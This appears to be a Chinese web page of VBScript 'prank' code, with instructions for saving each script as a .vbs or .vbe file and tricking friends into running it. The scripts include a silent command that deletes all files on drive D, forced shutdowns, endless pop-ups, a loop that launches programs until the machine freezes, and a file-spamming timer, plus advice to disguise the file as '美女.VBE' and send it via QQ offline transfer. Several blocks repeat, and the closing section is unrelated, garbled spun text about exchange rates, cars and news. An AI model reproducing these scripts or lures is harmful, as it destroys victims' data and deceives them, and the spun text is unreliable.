首先你在要建一个文本文档(在桌面点右键
新建
文本文档)把下面的你想要的代码复制
到文本文档
好
保存
把名字
txt
改成
vbs
就
OK
vbs
整人代码大 ***
一、
你打开好友的聊天对话框
然后记下在你
***
里好友的昵称
把下面代码里的
xx
替换一下
就可以自定义发送
***
信息到好友的次数
代码里的数字
10
改一下即可
xx.vbs=
On Error Resume Next
Dim wsh,ye
set wsh=createobject("wscript.shell")
for i=1 to 10
wscript.sleep 700
wsh.AppActivate("
与
xx
聊天中
wsh.sendKeys "^v"
wsh.sendKeys i
wsh.sendKeys "%s"
next
wscript.quit
***
骚扰信息
也可以用在其它程序上。
二、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈
do
msgbox "You are foolish!"
loop
三、打开无数个计算器,直到死机
set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
四、直接关机
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
五、删除
D:\
所有文件
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
六、不断弹出窗口
while(1)
msgbox "
哈哈
你被耍了!
loop
七、不断按下
alt+f4
(开什么都关闭„„)
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
八、按
500
次回车
以上代码在运行者的电脑上显示
500
个对话框。其中
do until s=500
500
可以随意更改
dim s
do until s=500
s=s+1
msgbox "
哥们,给我按
500
次回车吧
",64
loop
九、关不掉的窗口
WScript.Echo("
嘿,谢谢你打开我哦,我等你很久
拉!
"TSName)
WScript.Echo("
你是可爱的小朋吗
WScript.Echo("
哈
我想你拉,这你都不知道吗?
[color=#FF0000]
复制以这个代码,在桌面建一个文本,把代码放进去,另存为
VBS
格式,
此代码的威力:
1
:开机就强制自动关机
2
cmd
命令打不开
3
:结束任务不管用
4
F8
安全模式也不管用
呵呵!听起来是不是有点恐怖啊,我在我朋友空间里看见也吓了一跳、
代码破解 *** :就是再运行一次,就可以破解了,也就是第
2
次保存的那个
VBE
文件,
PS
:不要乱拿软件去整人,发生什么事可不要怪我啊。
拍拍手
顶起吧!
恐怖啊
整人
小心用
Private Sub Form_Load()
Me.Hide
End Sub
Private Sub Timer1_Timer()
声明变量,其中“
count
”为静态变量,以便生成不同的文件
Dim files As String
Dim nr As String
Dim c As String
Static count As Long
定义要把生成的文件存放在那个目录文件下
c = "C:\Program Files\"
生成文件的内容
nr = "
哈哈,被黑的感觉的不错吧
files = FreeFile
如果
a
等于
a
那么就执行
If a = a Then
'count
不断的加
1
,以便产生不同的文件名
count = count + 1
产生文件名及文件句柄,并用
count
作为产生不同的文件名。
Open c "system" count ".dll" For Append As #files
向文件写内容
Write #files, nr
清除文件句柄,这里很重要,如果不清除,将产生打开文件太多的错误提示
Close #files
End If
End Sub
之一步,将以下代码复制到记事本中。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特,不说就30秒关你机,不信,试试···"" ",0 ,true
dim a
do while(a "潮流哥特")
a = inputbox ("说潮流哥特,不然就不关机,快撒,说 ""潮流哥特"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
上面的文字可以随便改,不印象效果。如果发给MM,你可以逼她说“我爱你”。 *** 是把上面的“ *** 客是好网站”改成“快说我爱你” 内容来自
第二步,将记事本文件重命名为 ***.VBE(文件名可以任意起,如“美女.VBE”)
如果谁运行了这个 *** 炸弹,在30秒后会自动关机。
下面说一下使用 *** :
最简单的使用 *** 是,你直接发给好友,让他运行,然后他就中招了。
还有个更加恶毒的,不在线的 *** 好友你可以向他们发送 *** 离线文件,几乎80%的人都会好奇这个文件是什么,糊里糊涂就打开了。 打开以后就被 *** 炸弹恶搞了
你自己也可以测试一下这个 *** 炸弹的威力。
之一步,将以下代码复制到记事本中。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特,不说就30秒关你机,不信,试试···"" ",0 ,true
dim a
do while(a "潮流哥特")
a = inputbox ("说潮流哥特,不然就不关机,快撒,说 ""潮流哥特"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
上面的文字可以随便改,不印象效果。如果发给MM,你可以逼她说“我爱你”。 *** 是把上面的“ *** 客是好网站”改成“快说我爱你” 内容来自
第二步,将记事本文件重命名为 ***.VBE(文件名可以任意起,如“美女.VBE”)
如果谁运行了这个 *** 炸弹,在30秒后会自动关机。
下面说一下使用 *** :
最简单的使用 *** 是,你直接发给好友,让他运行,然后他就中招了。
WScript.Echo("谁令你打开这个软件的")
WScript.Echo("这个软件会让你无聊啊!")
WScript.Echo("推荐你来的肯定是个坏蛋!")
WScript.Echo("欢迎来到被整软件站!")
WScript.Echo("是谁设计的?")
WScript.Echo("Is me")
WScript.Echo("你好,你要点30次确定哦!")
WScript.Echo("1")
WScript.Echo("2")
WScript.Echo("3")
WScript.Echo("begin")
之一步,将以下代码复制到记事本中。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特,不说就30秒关你机,不信,试试···"" ",0 ,true
dim a
do while(a "潮流哥特")
a = inputbox ("说潮流哥特,不然就不关机,快撒,说 ""潮流哥特"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
上面的文字可以随便改,不印象效果。如果发给MM,你可以逼她说“我爱你”。 *** 是把上面的“ *** 客是好网站”改成“快说我爱你” 内容来自
第二步,将记事本文件重命名为 ***.VBE(文件名可以任意起,如“美女.VBE”)
如果谁运行了这个 *** 炸弹,在30秒后会自动关机。
下面说一下使用 *** :
最简单的使用 *** 是,你直接发给好友,让他运行,然后他就中招了。
WScript.Echo("谁令你打开这个软件的")
WScript.Echo("这个软件会让你无聊啊!")
WScript.Echo("推荐你来的肯定是个坏蛋!")
WScript.Echo("欢迎来到被整软件站!")
WScript.Echo("是谁设计的?")
WScript.Echo("Is me")
WScript.Echo("你好,你要点30次确定哦!")
WScript.Echo("1")
WScript.Echo("2")
WScript.Echo("3")
WScript.Echo("begin")
之一步,将以下代码复制到记事本中。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特,不说就30秒关你机,不信,试试···"" ",0 ,true
dim a
do while(a "潮流哥特")
a = inputbox ("说潮流哥特,不然就不关机,快撒,说 ""潮流哥特"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
上面的文字可以随便改,不印象效果。如果发给MM,你可以逼她说“我爱你”。 *** 是把上面的“ *** 客是好网站”改成“快说我爱你” 内容来自
第二步,将记事本文件重命名为 ***.VBE(文件名可以任意起,如“美女.VBE”)
如果谁运行了这个 *** 炸弹,在30秒后会自动关机。
下面说一下使用 *** :
最简单的使用 *** 是,你直接发给好友,让他运行,然后他就中招了。
还有个更加恶毒的,不在线的 *** 好友你可以向他们发送 *** 离线文件,几乎80%的人都会好奇这个文件是什么,糊里糊涂就打开了。 打开以后就被 *** 炸弹恶搞了
你自己也可以测试一下这个 *** 炸弹的威力。
qq群装x代码复制是可以随时分享好玩的一些恶搞的代码,让大家都可以和好友有一个可以分享的社区,都是很有趣的,通过不同的设备进行分享,消息都可以同步可见,很好玩的。
qq群装x代码复制app特色:
1、可以直接使用竖名大全可复制,帮你直接生成竖起来的网名,可以用到各个软件上哦。
2、不管是游戏当中还是社交软件上面都可以,让你成为人群中最靓的那个崽,还有很多特殊符号大家可以关注一下。
qq群装x代码复制功能:
1、一键可以生成能召唤火影忍者的代码,非常的炫酷点击进去就有对应的代码。
2、如果是不热门的代码,回到主页,点击自己喜欢的代码即可。
软件点评:
1、这个工具的功能也是比较有意思和强大的,你可以自由的选择的。
2、可以让用户直接能拥有各种功能代码的生成器软件。
依据 外国银止最新的中汇牌价: 一英镑英磅,尔要的是最新的,计较 的。 泉币 兑换 一英镑= 八点 八 六 六 六群众币元 一群众币元,外国」的经济才是主宰偏向 尔没有是英镑博野,远一二年的空儿内,招商银止,比兑群众币,当然是越低越孬,依据 本日 南京空儿 一 四: 一 八分更新最新中汇牌价: 一群...
其订价 预计跨越 三00万元群众币。设计没了一套科技感谦谦的解决圆案+级商场的标杆车型,否以。智能化。尾付 一 六万元阁下 ,购买 税战担保金等月求 八集皂阁下 。最年夜 罪率 三 三 七峰值扭矩 三 八0N·预计婚配,点 二万元阁下 。详细 用度 依据 车型以到店核算为准。 红旗L 九设计定位为...
ETC扣费问信 Q 一:节沐日 下速收费通止却发生 扣费? 收费通止仅 对于 七座及如下载客车辆,如你是 七座以上则一般支费; 没下速空儿未没有正在收费空儿段,好比 二0 二 一年明朗 收费通止空儿是 二0 二 一年 四月 三日0时至 四月 五日 二 四时,你正在收费空儿内上下速,但高下速是...
一 九 五 八年 二月 一 三日下昼 一 七:00阁下 ,载有日原北极考查 队的“宗谷”在北极远洋的吕佐妇-霍我姆湾航止,忽然 有舟员年夜 喊“哥斯推”,由于 一 九 五 四年时日原东宝股份有限公司 制造 的怪兽片子 《哥斯推》曾经著名 于世, 对于没有亮年夜 型怪物喊没“哥斯推”长短 常天然...
倪萍 杨澜 杨澜 赵奸祥悲悼 会 赵奸祥悲悼 会 赵奸祥悲悼 会 赵奸祥悲悼 会 网难文娱 一月 二0日报导 一月 二0日上午,有名 主持人赵奸祥尸体 离别 典礼 正在南京八宝山举办 。杨澜、毕祸剑、马已皆、墨军、倪萍、杨澜、周涛、李瑞英等现身吊唁 。...
一提到“胡桃夹子”,便恍如看到了 纷飞的雪花、斑斓的彩灯、 心爱的私仔、扭转 着的图图裙 ...... 那是一个充斥 梦幻气味 的名字, 也是一个无论年夜 人小孩 皆可以或许 深深邃深挚 迷个中 的童话小说。 而闭于《胡桃夹子》, 有太多的体式格局让人忘住! 德国有名 做野霍妇曼的...